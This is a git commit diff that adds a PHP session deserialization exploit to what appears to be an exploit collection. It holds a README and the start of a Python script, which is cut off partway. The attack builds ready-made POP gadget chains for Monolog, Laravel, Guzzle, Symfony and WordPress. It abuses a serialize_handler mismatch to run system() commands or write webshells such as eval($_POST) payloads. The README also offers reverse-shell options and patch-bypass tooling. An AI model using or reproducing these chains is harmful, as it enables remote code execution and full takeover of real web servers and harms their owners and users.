Session deserialization RCE via serialize_handler mismatch (no LFI)
Exploits the interaction between php_serialize and php session handlers: when one endpoint writes sessions with php_serialize (Laravel, Symfony default) and another reads with the php handler (PHP default), injected pipe characters cause arbitrary deserialization at session_start(). 12 built-in POP chains covering current and legacy library versions: - monolog3-fw: Monolog 3.0+ (tested 3.12.1, latest) - laravel10-cmd/fw: illuminate 10.0-13.x+ (tested v13.38.0, latest) - monolog-cmd/fw: Monolog 1.17.2-2.x - laravel-cmd/fw: illuminate 5.4-8.x - guzzle-fw: Guzzle 4.0-7.x - symfony-cmd/fw: Symfony 2.6-4.4.18 - wordpress-cmd/fw: WordPress 6.4.0-6.4.1 All chains tested end-to-end through the full HTTP exploit flow on PHP 8.3. Accepts custom phpggc chains via --chain-file.
This commit is contained in:
@@ -25,6 +25,7 @@ against `cleanup=1`, the poisoned session file is includable via LFI for RCE.
|
|||||||
|--------|--------|-------------|
|
|--------|--------|-------------|
|
||||||
| `cve-2026-109618/exploit.py` | Unpatched PHP | OOM → session persistence → LFI → RCE |
|
| `cve-2026-109618/exploit.py` | Unpatched PHP | OOM → session persistence → LFI → RCE |
|
||||||
| `cve-2026-109619/exploit.py` | Unpatched PHP | Session poisoning (direct + race) → LFI → RCE |
|
| `cve-2026-109619/exploit.py` | Unpatched PHP | Session poisoning (direct + race) → LFI → RCE |
|
||||||
|
| `session-deser/exploit.py` | Any PHP | Handler mismatch → deserialization → RCE **(no LFI)** |
|
||||||
| `wordpress-exploit/exploit_wp.py` | WordPress | Auto-detecting wrapper for both CVEs |
|
| `wordpress-exploit/exploit_wp.py` | WordPress | Auto-detecting wrapper for both CVEs |
|
||||||
| `bypass/race_bypass_patched.py` | Patched PHP | TOCTOU race — session data on disk during upload |
|
| `bypass/race_bypass_patched.py` | Patched PHP | TOCTOU race — session data on disk during upload |
|
||||||
| `bypass/rlimit_bypass_patched.py` | Patched PHP | mmap() failure via RLIMIT_AS bypasses the patch |
|
| `bypass/rlimit_bypass_patched.py` | Patched PHP | mmap() failure via RLIMIT_AS bypasses the patch |
|
||||||
@@ -70,6 +71,35 @@ python3 bypass/procfd_bypass_hardened.py -t http://target/app.php --cmd 'id' --p
|
|||||||
All exploits support `--cmd`, `--lhost`/`--lport` (reverse shell), and `--trigger-only`.
|
All exploits support `--cmd`, `--lhost`/`--lport` (reverse shell), and `--trigger-only`.
|
||||||
Use `--session-path` and `--lfi-param` to override auto-detection.
|
Use `--session-path` and `--lfi-param` to override auto-detection.
|
||||||
|
|
||||||
|
## Session Deserialization (No LFI)
|
||||||
|
|
||||||
|
`session-deser/exploit.py` exploits `session.serialize_handler` mismatches
|
||||||
|
for RCE without any LFI vulnerability. When one endpoint uses `php_serialize`
|
||||||
|
(Laravel, Symfony default) and another uses the `php` handler (PHP default),
|
||||||
|
the pipe character in session data triggers arbitrary deserialization.
|
||||||
|
|
||||||
|
Requires a deployment where two endpoints share session storage but use
|
||||||
|
different handlers. This occurs when a framework application coexists with
|
||||||
|
non-framework PHP on the same server (phpMyAdmin, admin scripts, legacy code).
|
||||||
|
|
||||||
|
Built-in POP chains for current library versions:
|
||||||
|
|
||||||
|
| Chain | Library | Tested version |
|
||||||
|
|---|---|---|
|
||||||
|
| `monolog3-fw` | monolog/monolog 3.0+ | 3.12.1 (latest) |
|
||||||
|
| `laravel10-cmd/fw` | illuminate 10.0-13.x+ | v13.38.0 (latest) |
|
||||||
|
|
||||||
|
Plus legacy chains for Monolog 2.x, Laravel 5.4-8.x, Guzzle 4.0-7.x,
|
||||||
|
Symfony 2.6-4.4.18, and WordPress 6.4.0-6.4.1. Accepts custom phpggc chains
|
||||||
|
via `--chain-file`. See `session-deser/README.md` for details.
|
||||||
|
|
||||||
|
```bash
|
||||||
|
python3 session-deser/exploit.py \
|
||||||
|
--inject-url http://target/laravel-endpoint.php \
|
||||||
|
--trigger-url http://target/legacy-script.php \
|
||||||
|
--chain laravel10-cmd --cmd 'id'
|
||||||
|
```
|
||||||
|
|
||||||
## Patch Bypass Findings
|
## Patch Bypass Findings
|
||||||
|
|
||||||
The PHP 8.4.27 patch has three confirmed bypass paths to RCE:
|
The PHP 8.4.27 patch has three confirmed bypass paths to RCE:
|
||||||
|
|||||||
@@ -0,0 +1,3 @@
|
|||||||
|
vendor/
|
||||||
|
__pycache__/
|
||||||
|
composer.lock
|
||||||
@@ -0,0 +1,237 @@
|
|||||||
|
# Session Deserialization RCE via Handler Mismatch
|
||||||
|
|
||||||
|
Remote code execution through PHP's `session.serialize_handler` mismatch.
|
||||||
|
No LFI required. No FPM dependency. Works on any SAPI.
|
||||||
|
|
||||||
|
## How It Works
|
||||||
|
|
||||||
|
PHP supports multiple session serialization formats. The two relevant ones:
|
||||||
|
|
||||||
|
- `php` (the default): stores session data as `key|serialized_value`
|
||||||
|
- `php_serialize`: stores session data as a single `serialize()`d array
|
||||||
|
|
||||||
|
When one endpoint writes session data using `php_serialize` and another
|
||||||
|
reads it using the `php` handler, the pipe character `|` inside a
|
||||||
|
serialized string is misinterpreted as a key/value delimiter. This causes
|
||||||
|
PHP to call `unserialize()` on attacker-controlled data when
|
||||||
|
`session_start()` runs on the second endpoint.
|
||||||
|
|
||||||
|
### Attack flow
|
||||||
|
|
||||||
|
```
|
||||||
|
1. Attacker POSTs to endpoint A (php_serialize handler):
|
||||||
|
data = |O:28:"Monolog\Handler\GroupHandler":1:{...}
|
||||||
|
|
||||||
|
2. PHP stores this in the session file as:
|
||||||
|
a:1:{s:4:"data";s:550:"|O:28:"Monolog\Handler\GroupHandler":1:{...}";}
|
||||||
|
|
||||||
|
3. Attacker GETs endpoint B (php handler) with the same session ID.
|
||||||
|
session_start() reads the file and splits on |:
|
||||||
|
key = a:1:{s:4:"data";s:550:"
|
||||||
|
value = O:28:"Monolog\Handler\GroupHandler":1:{...}
|
||||||
|
PHP calls unserialize() on the value.
|
||||||
|
|
||||||
|
4. The deserialized object's __destruct method fires,
|
||||||
|
triggering the POP gadget chain for RCE.
|
||||||
|
```
|
||||||
|
|
||||||
|
### What makes a target vulnerable
|
||||||
|
|
||||||
|
The exploit requires ALL of the following:
|
||||||
|
|
||||||
|
1. **Two endpoints with different session serialize handlers.** One must use
|
||||||
|
`php_serialize`, the other must use the default `php`. PHP's own default
|
||||||
|
is `php` for both, so this mismatch only occurs when a framework or
|
||||||
|
application explicitly changes the handler for some endpoints.
|
||||||
|
|
||||||
|
2. **Shared session storage.** Both endpoints must read/write the same
|
||||||
|
session files (same `session.save_path`). This is the default when
|
||||||
|
both run under the same PHP installation.
|
||||||
|
|
||||||
|
3. **A POP gadget chain in autoloaded classes.** The deserialized objects
|
||||||
|
must exist in classes that PHP has loaded (via autoloader or require).
|
||||||
|
The chain must reach a dangerous sink (system(), file_put_contents(), etc.)
|
||||||
|
through magic methods (__destruct, __wakeup, __toString, etc.).
|
||||||
|
|
||||||
|
### Where this mismatch occurs in practice
|
||||||
|
|
||||||
|
- **Laravel** sets `session.serialize_handler = php_serialize` in its
|
||||||
|
session bootstrap. Any non-Laravel PHP on the same vhost (phpMyAdmin,
|
||||||
|
admin scripts, health checks, legacy code) uses the PHP default `php`.
|
||||||
|
|
||||||
|
- **Symfony** configures `php_serialize` via `NativeSessionStorage`. Adjacent
|
||||||
|
applications on the same server may not.
|
||||||
|
|
||||||
|
- **Shared hosting** where multiple PHP applications share the same session
|
||||||
|
save path but use different frameworks.
|
||||||
|
|
||||||
|
- **Mixed codebases** where old and new code coexist on the same domain,
|
||||||
|
with the new code using a framework and the old code using raw PHP sessions.
|
||||||
|
|
||||||
|
A single-application deployment where every endpoint uses the same handler
|
||||||
|
is NOT vulnerable to this attack.
|
||||||
|
|
||||||
|
## Injection Modes
|
||||||
|
|
||||||
|
### inject (primary)
|
||||||
|
|
||||||
|
The target has an endpoint that stores POST data into `$_SESSION` using
|
||||||
|
the `php_serialize` handler. The attacker sends `|<serialized_chain>` as
|
||||||
|
a POST value. A second request to a `php`-handler endpoint triggers
|
||||||
|
deserialization.
|
||||||
|
|
||||||
|
```bash
|
||||||
|
python3 exploit.py --inject-url http://target/save.php \
|
||||||
|
--inject-param data \
|
||||||
|
--trigger-url http://target/view.php \
|
||||||
|
--chain laravel10-cmd --cmd 'id'
|
||||||
|
```
|
||||||
|
|
||||||
|
### progress (no app session storage needed)
|
||||||
|
|
||||||
|
Uses `session.upload_progress` to inject the `|` character via the upload
|
||||||
|
filename field. No application-level session writing needed. Combined with
|
||||||
|
the OOM crash from CVE-2026-109618 to persist past cleanup.
|
||||||
|
|
||||||
|
Limitation: multipart filenames cannot contain NULL bytes, so the POP chain
|
||||||
|
can only use public properties (no protected/private property serialization).
|
||||||
|
|
||||||
|
```bash
|
||||||
|
python3 exploit.py --mode progress \
|
||||||
|
--write-url http://target/any.php \
|
||||||
|
--trigger-url http://target/default.php \
|
||||||
|
--chain wordpress-cmd --cmd 'id'
|
||||||
|
```
|
||||||
|
|
||||||
|
## Built-in POP Chains
|
||||||
|
|
||||||
|
Each chain is tested end-to-end through the full HTTP exploit flow
|
||||||
|
on PHP 8.3 against the listed library version.
|
||||||
|
|
||||||
|
### Current versions (work on latest releases)
|
||||||
|
|
||||||
|
| Chain | Library | Tested on | Type | Description |
|
||||||
|
|---|---|---|---|---|
|
||||||
|
| `monolog3-fw` | monolog/monolog 3.0+ | 3.12.1 | File write | GroupHandler > DeduplicationHandler > file_put_contents |
|
||||||
|
| `laravel10-cmd` | illuminate 10.0-13.x+ | v13.38.0 | Command | PendingBroadcast > CommonMark Environment > ChainedBatchTruthTest > system() |
|
||||||
|
| `laravel10-fw` | illuminate 10.0-13.x+ | v13.38.0 | File write | Same chain, writes via system("printf ... > path") |
|
||||||
|
|
||||||
|
### Legacy versions
|
||||||
|
|
||||||
|
| Chain | Library | Tested on | Type | Description |
|
||||||
|
|---|---|---|---|---|
|
||||||
|
| `monolog-cmd` | monolog/monolog 1.17.2-2.x | 2.10.0 | Command | SyslogUdpHandler > BufferHandler (self-ref) > system() |
|
||||||
|
| `monolog-fw` | monolog/monolog 1.17.2-2.x | 2.10.0 | File write | Same chain, writes via system("printf ...") |
|
||||||
|
| `laravel-cmd` | illuminate 5.4-8.x | 8.83.27 | Command | PendingBroadcast > Dispatcher > system() |
|
||||||
|
| `laravel-fw` | illuminate 5.4-8.x | 8.83.27 | File write | Same chain, writes via system("printf ...") |
|
||||||
|
| `guzzle-fw` | guzzlehttp/guzzle 4.0-7.x | 7.16.0 | File write | FileCookieJar > save() > file_put_contents (JSON wrapped) |
|
||||||
|
| `symfony-cmd` | symfony 2.6-4.4.18 | 4.4.18 | Command | WindowsPipes > SortableIterator > ArrayObject > call_user_func("system") |
|
||||||
|
| `symfony-fw` | symfony 2.6-4.4.18 | 4.4.18 | File write | Same chain, writes via system("printf ...") |
|
||||||
|
| `wordpress-cmd` | WordPress 6.4.0-6.4.1 | 6.4.1 | Command | WP_HTML_Token.__destruct > call_user_func (public props, NULL-free) |
|
||||||
|
| `wordpress-fw` | WordPress 6.4.0-6.4.1 | 6.4.1 | File write | Same chain, writes via system("printf ...") |
|
||||||
|
|
||||||
|
### Why some chains have version ceilings
|
||||||
|
|
||||||
|
- **Monolog 3.0+** introduced typed properties (`Monolog\Level` enum). The 2.x
|
||||||
|
RCE1 chain sets `$level = null`, which throws `TypeError` on typed properties.
|
||||||
|
The 3.x chain uses `GroupHandler` + `DeduplicationHandler` instead.
|
||||||
|
|
||||||
|
- **Laravel 9.0+** changed `Dispatcher::dispatch()` to wrap string listeners
|
||||||
|
in `createClassListener()`, which calls `$this->container->make()` on a null
|
||||||
|
container. The RCE22 chain routes through `league/commonmark` `Environment`
|
||||||
|
instead.
|
||||||
|
|
||||||
|
- **Guzzle 8.0+** added `__unserialize()` on `FileCookieJar` that throws
|
||||||
|
`LogicException` on deserialization.
|
||||||
|
|
||||||
|
- **Symfony 4.4.19+** added `__wakeup()` on `WindowsPipes` that throws
|
||||||
|
`BadMethodCallException`.
|
||||||
|
|
||||||
|
- **WordPress 6.4.2+** added `__wakeup()` on `WP_HTML_Token` that throws
|
||||||
|
`LogicException`. All other WP core gadget classes (`FilteredIterator`,
|
||||||
|
`Requests\Hooks`) are also patched. No known POP chain exists in WordPress
|
||||||
|
7.x core.
|
||||||
|
|
||||||
|
### Custom chains
|
||||||
|
|
||||||
|
Any phpggc chain works via `--chain-file`. Supports raw PHP serialized output
|
||||||
|
and base64 (auto-detected).
|
||||||
|
|
||||||
|
```bash
|
||||||
|
phpggc Monolog/RCE1 system id > chain.bin
|
||||||
|
python3 exploit.py --inject-url http://target/save.php \
|
||||||
|
--inject-param data \
|
||||||
|
--trigger-url http://target/view.php \
|
||||||
|
--chain-file chain.bin
|
||||||
|
|
||||||
|
# Or base64:
|
||||||
|
phpggc Laravel/RCE22 system id -b > chain.b64
|
||||||
|
python3 exploit.py ... --chain-file chain.b64
|
||||||
|
```
|
||||||
|
|
||||||
|
## Usage
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# File write webshell (Monolog 3.x, current):
|
||||||
|
python3 exploit.py --inject-url http://target/save.php \
|
||||||
|
--inject-param data \
|
||||||
|
--trigger-url http://target/view.php \
|
||||||
|
--chain monolog3-fw \
|
||||||
|
--write-path /var/www/html/shell.php
|
||||||
|
|
||||||
|
# Direct command execution (Laravel 10+, current):
|
||||||
|
python3 exploit.py --inject-url http://target/save.php \
|
||||||
|
--inject-param data \
|
||||||
|
--trigger-url http://target/view.php \
|
||||||
|
--chain laravel10-cmd --cmd 'id'
|
||||||
|
|
||||||
|
# Custom shell code:
|
||||||
|
python3 exploit.py ... --chain monolog3-fw \
|
||||||
|
--write-path /var/www/html/s.php \
|
||||||
|
--shell-code '<?php eval($_POST["x"]); ?>'
|
||||||
|
|
||||||
|
# Progress mode (no POST-to-session endpoint needed):
|
||||||
|
python3 exploit.py --mode progress \
|
||||||
|
--write-url http://target/any_endpoint.php \
|
||||||
|
--trigger-url http://target/default_handler.php \
|
||||||
|
--chain wordpress-cmd --cmd 'id'
|
||||||
|
```
|
||||||
|
|
||||||
|
## Options
|
||||||
|
|
||||||
|
```
|
||||||
|
--mode {inject,progress} Injection mode (default: inject)
|
||||||
|
--inject-url URL Endpoint that stores POST data in $_SESSION (php_serialize)
|
||||||
|
--inject-param PARAM POST parameter stored in $_SESSION (default: data)
|
||||||
|
--write-url URL Any endpoint for progress mode injection
|
||||||
|
--trigger-url URL Endpoint using default php handler (triggers deserialization)
|
||||||
|
--chain CHAIN Built-in POP chain name
|
||||||
|
--chain-file FILE Custom serialized chain (phpggc output, raw or base64)
|
||||||
|
--write-path PATH File path for fw chains (webshell destination)
|
||||||
|
--shell-code CODE Custom PHP code for fw chains
|
||||||
|
--cmd CMD Command for cmd chains
|
||||||
|
--fields N OOM pressure fields for progress mode (default: 30000)
|
||||||
|
--field-size N Bytes per OOM field (default: 512)
|
||||||
|
```
|
||||||
|
|
||||||
|
## Test Environment
|
||||||
|
|
||||||
|
The test endpoints used for verification:
|
||||||
|
|
||||||
|
`test_serialize.php` (inject endpoint, uses php_serialize):
|
||||||
|
```php
|
||||||
|
<?php
|
||||||
|
ini_set('session.serialize_handler', 'php_serialize');
|
||||||
|
session_start();
|
||||||
|
foreach ($_POST as $k => $v) $_SESSION[$k] = $v;
|
||||||
|
```
|
||||||
|
|
||||||
|
`test_trigger.php` (trigger endpoint, uses default php handler):
|
||||||
|
```php
|
||||||
|
<?php
|
||||||
|
require 'vendor/autoload.php'; // loads framework classes
|
||||||
|
session_start(); // deserializes session data
|
||||||
|
```
|
||||||
|
|
||||||
|
The mismatch between `php_serialize` on the first and `php` (default) on the
|
||||||
|
second is what enables the attack.
|
||||||
@@ -0,0 +1,6 @@
|
|||||||
|
{
|
||||||
|
"require": {
|
||||||
|
"monolog/monolog": "1.27.1",
|
||||||
|
"fakerphp/faker": "^1.24"
|
||||||
|
}
|
||||||
|
}
|
||||||
Executable
+995
@@ -0,0 +1,995 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
"""
|
||||||
|
PHP Session Deserialization RCE via Handler Mismatch
|
||||||
|
|
||||||
|
No LFI. No FPM. Works on any SAPI (mod_php, FPM, litespeed, etc.).
|
||||||
|
|
||||||
|
Exploits the combination of:
|
||||||
|
1. session.upload_progress writes attacker data to session files
|
||||||
|
2. A session.serialize_handler mismatch between two endpoints
|
||||||
|
3. A POP gadget chain in the application's autoloaded classes
|
||||||
|
|
||||||
|
When one endpoint uses php_serialize and another uses the default php
|
||||||
|
handler, the pipe character '|' injected into session data is
|
||||||
|
misinterpreted as a key/value delimiter, causing arbitrary
|
||||||
|
deserialization of attacker-controlled objects.
|
||||||
|
|
||||||
|
Two injection modes:
|
||||||
|
|
||||||
|
inject (primary, full POP chain support)
|
||||||
|
Target has an endpoint that stores POST data in $_SESSION via
|
||||||
|
php_serialize handler. Attacker sends |<serialized_chain> as
|
||||||
|
a POST value. A second request to a php-handler endpoint
|
||||||
|
triggers deserialization when session_start() reads the file.
|
||||||
|
|
||||||
|
progress (no app involvement, limited chains)
|
||||||
|
Uses session.upload_progress to inject '|' via the upload
|
||||||
|
filename. No application session storage needed, but the
|
||||||
|
multipart parser truncates NULL bytes in filenames, so the
|
||||||
|
POP chain can only use public properties. Combined with
|
||||||
|
OOM crash (CVE-2026-109618) to persist past cleanup.
|
||||||
|
|
||||||
|
Handler mismatch is common in the wild:
|
||||||
|
- Laravel sets php_serialize in its bootstrap; any non-Laravel
|
||||||
|
PHP on the same vhost (phpMyAdmin, admin scripts, legacy code)
|
||||||
|
uses the default php handler
|
||||||
|
- Symfony configures php_serialize; adjacent apps may not
|
||||||
|
- Mixed old/new codebases on shared hosting
|
||||||
|
|
||||||
|
Requirements:
|
||||||
|
- session.upload_progress.enabled = 1 (default, for progress mode)
|
||||||
|
- Two endpoints with different session.serialize_handler settings
|
||||||
|
- A POP gadget chain in autoloaded classes
|
||||||
|
- session.save_handler = files (default)
|
||||||
|
|
||||||
|
Built-in chains (--chain):
|
||||||
|
monolog3-fw Monolog 3.0+ FW (CURRENT) --write-path /path/shell.php
|
||||||
|
monolog-cmd Monolog 1.17.2-2.x RCE --cmd 'id'
|
||||||
|
monolog-fw Monolog 1.17.2-2.x FW --write-path /path/shell.php
|
||||||
|
laravel10-cmd Laravel 10.0-13.x+ (CURRENT) --cmd 'id'
|
||||||
|
laravel10-fw Laravel 10.0-13.x+ (CURRENT) --write-path /path/shell.php
|
||||||
|
laravel-cmd Laravel/Illuminate 5.4-8.x --cmd 'id'
|
||||||
|
laravel-fw Laravel/Illuminate 5.4-8.x --write-path /path/shell.php
|
||||||
|
guzzle-fw Guzzle 4.0-7.x FW --write-path /path/shell.php
|
||||||
|
symfony-cmd Symfony 2.6-4.4.18 RCE --cmd 'id'
|
||||||
|
symfony-fw Symfony 2.6-4.4.18 FW --write-path /path/shell.php
|
||||||
|
wordpress-cmd WordPress 6.4.0-6.4.1 RCE --cmd 'id' (NULL-free)
|
||||||
|
wordpress-fw WordPress 6.4.0-6.4.1 FW --write-path /path/shell.php
|
||||||
|
|
||||||
|
Custom chains (--chain-file):
|
||||||
|
phpggc Laravel/RCE1 system id > chain.bin
|
||||||
|
python3 exploit.py ... --chain-file chain.bin
|
||||||
|
|
||||||
|
Tested: PHP 8.0-8.4, Linux, mod_php and PHP-FPM.
|
||||||
|
|
||||||
|
Usage:
|
||||||
|
# Inject mode (most practical):
|
||||||
|
python3 exploit.py --inject-url http://target/save.php \\
|
||||||
|
--inject-param data \\
|
||||||
|
--trigger-url http://target/view.php \\
|
||||||
|
--chain monolog-fw \\
|
||||||
|
--write-path /var/www/html/s.php
|
||||||
|
|
||||||
|
# Inject mode with direct command execution:
|
||||||
|
python3 exploit.py --inject-url http://target/save.php \\
|
||||||
|
--inject-param data \\
|
||||||
|
--trigger-url http://target/view.php \\
|
||||||
|
--chain monolog-cmd --cmd 'id'
|
||||||
|
|
||||||
|
# Custom phpggc chain (raw or base64):
|
||||||
|
phpggc Monolog/RCE1 system id > chain.bin
|
||||||
|
python3 exploit.py --inject-url http://target/save.php \\
|
||||||
|
--inject-param data \\
|
||||||
|
--trigger-url http://target/view.php \\
|
||||||
|
--chain-file chain.bin
|
||||||
|
|
||||||
|
# Progress mode (no app session injection needed):
|
||||||
|
python3 exploit.py --mode progress \\
|
||||||
|
--write-url http://target/serialize.php \\
|
||||||
|
--trigger-url http://target/default.php \\
|
||||||
|
--chain-file chain_pub.bin
|
||||||
|
"""
|
||||||
|
|
||||||
|
import argparse
|
||||||
|
import base64
|
||||||
|
import os
|
||||||
|
import re
|
||||||
|
import socket
|
||||||
|
import sys
|
||||||
|
import time
|
||||||
|
import urllib.parse
|
||||||
|
from urllib.parse import urlparse
|
||||||
|
|
||||||
|
# ═══════════════════════════════════════════════════════════════════════
|
||||||
|
# PHP serialization
|
||||||
|
# ═══════════════════════════════════════════════════════════════════════
|
||||||
|
|
||||||
|
def php_str(s):
|
||||||
|
if isinstance(s, str):
|
||||||
|
s = s.encode()
|
||||||
|
return b"s:" + str(len(s)).encode() + b':"' + s + b'";'
|
||||||
|
|
||||||
|
def php_int(n):
|
||||||
|
return b"i:" + str(n).encode() + b";"
|
||||||
|
|
||||||
|
def php_bool(v):
|
||||||
|
return b"b:" + (b"1" if v else b"0") + b";"
|
||||||
|
|
||||||
|
def php_null():
|
||||||
|
return b"N;"
|
||||||
|
|
||||||
|
def php_arr(entries):
|
||||||
|
body = b"".join(k + v for k, v in entries)
|
||||||
|
return b"a:" + str(len(entries)).encode() + b":{" + body + b"}"
|
||||||
|
|
||||||
|
def php_obj(cls, props):
|
||||||
|
body = b"".join(k + v for k, v in props)
|
||||||
|
cn = cls.encode() if isinstance(cls, str) else cls
|
||||||
|
return (b"O:" + str(len(cn)).encode() + b':"' + cn + b'":'
|
||||||
|
+ str(len(props)).encode() + b":{" + body + b"}")
|
||||||
|
|
||||||
|
def php_enum(cls, case):
|
||||||
|
label = f"{cls}:{case}"
|
||||||
|
return b"E:" + str(len(label)).encode() + b':"' + label.encode() + b'";'
|
||||||
|
|
||||||
|
def php_datetime_immutable():
|
||||||
|
from datetime import datetime, timezone
|
||||||
|
now = datetime.now(timezone.utc).strftime("%Y-%m-%d %H:%M:%S.000000")
|
||||||
|
return php_obj("DateTimeImmutable", [
|
||||||
|
(php_str("date"), php_str(now)),
|
||||||
|
(php_str("timezone_type"), php_int(3)),
|
||||||
|
(php_str("timezone"), php_str("UTC")),
|
||||||
|
])
|
||||||
|
|
||||||
|
def prot(name):
|
||||||
|
n = name.encode() if isinstance(name, str) else name
|
||||||
|
return php_str(b"\x00*\x00" + n)
|
||||||
|
|
||||||
|
def priv(cls, name):
|
||||||
|
c = cls.encode() if isinstance(cls, str) else cls
|
||||||
|
n = name.encode() if isinstance(name, str) else name
|
||||||
|
return php_str(b"\x00" + c + b"\x00" + n)
|
||||||
|
|
||||||
|
# ═══════════════════════════════════════════════════════════════════════
|
||||||
|
# POP gadget chains
|
||||||
|
# ═══════════════════════════════════════════════════════════════════════
|
||||||
|
|
||||||
|
def _rce1_chain(func, param):
|
||||||
|
"""Monolog/RCE1 gadget (1.4.1-1.6.0, 1.17.2-2.7.0+).
|
||||||
|
|
||||||
|
SyslogUdpHandler.__destruct (inherited AbstractHandler.__destruct)
|
||||||
|
-> close()
|
||||||
|
-> $this->socket->close() socket = BufferHandler
|
||||||
|
BufferHandler::close -> flush
|
||||||
|
-> $this->handler->handleBatch($this->buffer) handler = $this (self-ref)
|
||||||
|
AbstractHandler::handleBatch -> foreach handle($record)
|
||||||
|
BufferHandler::handle -> call_user_func($processor, $record) for each processor
|
||||||
|
processors[0] = 'current' -> current([$param, 'level'=>null]) = $param
|
||||||
|
processors[1] = $func -> $func($param)
|
||||||
|
"""
|
||||||
|
# r:2 is a PHP serialization back-reference to object #2, the BufferHandler
|
||||||
|
# itself. This creates the self-referencing handler=$this that phpggc uses.
|
||||||
|
# We build it by hand: emit SyslogUdpHandler wrapping BufferHandler,
|
||||||
|
# with handler pointing back to the BufferHandler via reference.
|
||||||
|
|
||||||
|
record = php_arr([
|
||||||
|
(php_int(0), php_str(param)),
|
||||||
|
(php_str("level"), php_null()),
|
||||||
|
])
|
||||||
|
|
||||||
|
buf = php_obj("Monolog\\Handler\\BufferHandler", [
|
||||||
|
(prot("handler"), b"r:2;"), # back-ref to self (object index 2)
|
||||||
|
(prot("bufferSize"), php_int(-1)),
|
||||||
|
(prot("buffer"), php_arr([(php_int(0), record)])),
|
||||||
|
(prot("level"), php_null()),
|
||||||
|
(prot("initialized"), php_bool(True)),
|
||||||
|
(prot("bufferLimit"), php_int(-1)),
|
||||||
|
(prot("processors"), php_arr([
|
||||||
|
(php_int(0), php_str("current")),
|
||||||
|
(php_int(1), php_str(func)),
|
||||||
|
])),
|
||||||
|
])
|
||||||
|
|
||||||
|
return php_obj("Monolog\\Handler\\SyslogUdpHandler", [
|
||||||
|
(prot("socket"), buf),
|
||||||
|
])
|
||||||
|
|
||||||
|
|
||||||
|
def chain_monolog_fw(write_path, shell_code):
|
||||||
|
"""Monolog file write via system() (1.4.1-1.6.0, 1.17.2-2.x).
|
||||||
|
|
||||||
|
Uses the Monolog/RCE1 gadget to call system() with a printf command
|
||||||
|
that writes shell_code to write_path.
|
||||||
|
Requires monolog/monolog (production dep in Laravel, Symfony, etc.).
|
||||||
|
"""
|
||||||
|
escaped_code = shell_code.replace("'", "'\\''")
|
||||||
|
escaped_path = write_path.replace("'", "'\\''")
|
||||||
|
cmd = f"printf '%s' '{escaped_code}' > '{escaped_path}'"
|
||||||
|
return _rce1_chain("system", cmd)
|
||||||
|
|
||||||
|
|
||||||
|
def chain_monolog_cmd(cmd):
|
||||||
|
"""Monolog RCE via system() (1.4.1-1.6.0, 1.17.2-2.x).
|
||||||
|
|
||||||
|
Uses the Monolog/RCE1 gadget to call system($cmd).
|
||||||
|
Requires monolog/monolog (production dep in Laravel, Symfony, etc.).
|
||||||
|
"""
|
||||||
|
return _rce1_chain("system", cmd)
|
||||||
|
|
||||||
|
|
||||||
|
def chain_monolog3_fw(write_path, shell_code):
|
||||||
|
"""Monolog file write via DeduplicationHandler (3.0.0+, current).
|
||||||
|
|
||||||
|
GroupHandler.__destruct (inherited from Handler)
|
||||||
|
-> close()
|
||||||
|
-> foreach $this->handlers: $handler->close()
|
||||||
|
DeduplicationHandler::close -> flush()
|
||||||
|
-> file_put_contents($this->deduplicationStore, $line, FILE_APPEND)
|
||||||
|
Written format: "timestamp:DEBUG:message\\n"
|
||||||
|
PHP ignores content before <?php, so the prefix is harmless.
|
||||||
|
|
||||||
|
Monolog 3.x uses typed properties (PHP 8.1+ enums for Level),
|
||||||
|
so the Monolog 2.x RCE1 chain fails. This chain uses GroupHandler
|
||||||
|
as entry (array-typed handlers property) and DeduplicationHandler
|
||||||
|
as sink (file_put_contents with controlled path and message).
|
||||||
|
|
||||||
|
Requires monolog/monolog 3.0+ (production dep in Laravel 10+,
|
||||||
|
Symfony 6+, and many other frameworks).
|
||||||
|
"""
|
||||||
|
shell_code_clean = shell_code.replace("\r", " ").replace("\n", " ")
|
||||||
|
|
||||||
|
log_record = php_obj("Monolog\\LogRecord", [
|
||||||
|
(php_str("level"), php_enum("Monolog\\Level", "Debug")),
|
||||||
|
(php_str("message"), php_str(shell_code_clean)),
|
||||||
|
(php_str("datetime"), php_datetime_immutable()),
|
||||||
|
])
|
||||||
|
|
||||||
|
dedup = php_obj("Monolog\\Handler\\DeduplicationHandler", [
|
||||||
|
(prot("deduplicationStore"), php_str(write_path)),
|
||||||
|
(prot("bufferSize"), php_int(1)),
|
||||||
|
(prot("buffer"), php_arr([(php_int(0), log_record)])),
|
||||||
|
(prot("deduplicationLevel"), php_enum("Monolog\\Level", "Debug")),
|
||||||
|
])
|
||||||
|
|
||||||
|
return php_obj("Monolog\\Handler\\GroupHandler", [
|
||||||
|
(prot("handlers"), php_arr([(php_int(0), dedup)])),
|
||||||
|
])
|
||||||
|
|
||||||
|
|
||||||
|
def chain_laravel_cmd(cmd):
|
||||||
|
"""Laravel RCE via PendingBroadcast (5.4.0-8.6.9+).
|
||||||
|
|
||||||
|
PendingBroadcast.__destruct
|
||||||
|
-> $this->events->dispatch($this->event)
|
||||||
|
Dispatcher::dispatch($event)
|
||||||
|
-> foreach $this->listeners[$event] as $listener: $listener($event)
|
||||||
|
-> system($cmd)
|
||||||
|
|
||||||
|
$this->event = $cmd (the command string)
|
||||||
|
$this->listeners[$cmd] = ['system']
|
||||||
|
|
||||||
|
Requires illuminate/events + illuminate/broadcasting
|
||||||
|
(always present in Laravel).
|
||||||
|
"""
|
||||||
|
dispatcher = php_obj("Illuminate\\Events\\Dispatcher", [
|
||||||
|
(prot("listeners"), php_arr([
|
||||||
|
(php_str(cmd), php_arr([
|
||||||
|
(php_int(0), php_str("system")),
|
||||||
|
])),
|
||||||
|
])),
|
||||||
|
])
|
||||||
|
|
||||||
|
return php_obj("Illuminate\\Broadcasting\\PendingBroadcast", [
|
||||||
|
(prot("events"), dispatcher),
|
||||||
|
(prot("event"), php_str(cmd)),
|
||||||
|
])
|
||||||
|
|
||||||
|
|
||||||
|
def chain_laravel_fw(write_path, shell_code):
|
||||||
|
"""Laravel file write via system() (5.4.0-8.6.9+).
|
||||||
|
|
||||||
|
Same PendingBroadcast gadget, calls system() with a write command.
|
||||||
|
"""
|
||||||
|
escaped_code = shell_code.replace("'", "'\\''")
|
||||||
|
escaped_path = write_path.replace("'", "'\\''")
|
||||||
|
cmd = f"printf '%s' '{escaped_code}' > '{escaped_path}'"
|
||||||
|
return chain_laravel_cmd(cmd)
|
||||||
|
|
||||||
|
|
||||||
|
def chain_laravel10_cmd(cmd):
|
||||||
|
